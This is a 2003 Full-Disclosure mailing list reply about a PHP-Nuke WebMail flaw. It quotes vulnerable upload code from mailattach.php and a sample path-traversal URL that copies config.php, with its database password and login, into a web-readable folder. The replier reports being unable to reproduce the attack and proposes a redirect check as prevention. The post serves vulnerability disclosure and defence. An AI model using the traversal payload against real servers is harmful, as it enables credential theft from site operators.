[Full-Disclosure] Re: php-nuke again ...

From: Pawel Kaczor (paczorat_private)
Date: Tue Jan 21 2003 - 00:25:44 PST

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On Wed, 15 Jan 2003, Karol Więsek wrote:

> snip from mailatach.php
>
> if (isset($userfile) AND $userfile != "none") {
>     if (ini_get(file_uploads) AND $attachments == 1) {
> 	$updir = "tmp";
> 	@copy($userfile, "$updir/$userfile_name");
>
> Sample attack which allows an attacker to grab database password
> and login.
>
> http://target.server/modules/WebMail/mailattach.php?
> userfile=../../config.php&userfile_name=../attachments/file.txt&
> attachments=1

I wasn't able to provide this attack succssefully but there's easy way of
prevention - one can put those lines at the beginning of mailattach.php
file:

if (eregi("mailattach.php",$PHP_SELF)) {
    Header("Location: ../../index.php");
    die();
}


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